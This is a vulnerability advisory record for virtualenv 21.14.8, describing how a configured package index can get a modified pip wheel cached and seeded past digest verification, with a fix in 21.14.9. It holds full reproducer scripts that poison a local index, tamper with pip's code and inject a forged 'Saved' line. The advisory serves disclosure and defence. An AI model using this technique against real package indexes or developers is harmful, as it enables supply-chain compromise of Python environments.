{"id":"CVE-2026-113714","aliases":["GHSA-494p-63j8-28p3"],"url":"https://o3.security/vulnerability/CVE-2026-113714","summary":"virtualenv: Downloaded wheel selection and caching precede verification","details":"## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved <path>` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I->>P: modified wheel and forged Saved line\n    P->>C: write modified wheel directly\n    P-->>V: stdout names genuine bundled wheel\n    V->>V: hash genuine wheel and accept\n    V->>C: record modified wheel for reuse\n    C->>N: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved <path>\" line into pip's output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: make pip print a \"Saved <path>\" line of its choice.\n\nusage: index_forges_saved_line.py <index_dir>\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding <link> (requires-python:<attribute>): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        '<a href=\"/files/pip-100.0-py3-none-any.whl\"'\n        f' data-requires-python=\"&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;\">pip-100.0-py3-none-any.whl</a>\\n'\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py <index_dir>\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv's comparison with PyPI's SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b'\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n'\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's\n# download folder first, and pip replaces a file of the same name there only when the link's digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f'<!DOCTYPE html>\\n<a href=\"/files/{wheel.name}#sha256={sha256}\">{wheel.name}</a>\\n'\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py <pypi_dir> <index_dir>\n\nThe wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what\nhttps://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.\n<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f'<a href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\">{filename}</a>')\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"<!DOCTYPE html>\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>\n\nOnly the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.","published":"2026-10-20T19:09:45.096Z","modified":"2026-10-24T02:48:20.535388622Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"virtualenv","fixedVersion":"21.14.9"}],"fix":{"url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96","label":"pypa/virtualenv@7babec6"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113714.json"},{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113714"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:20.535388622Z"}}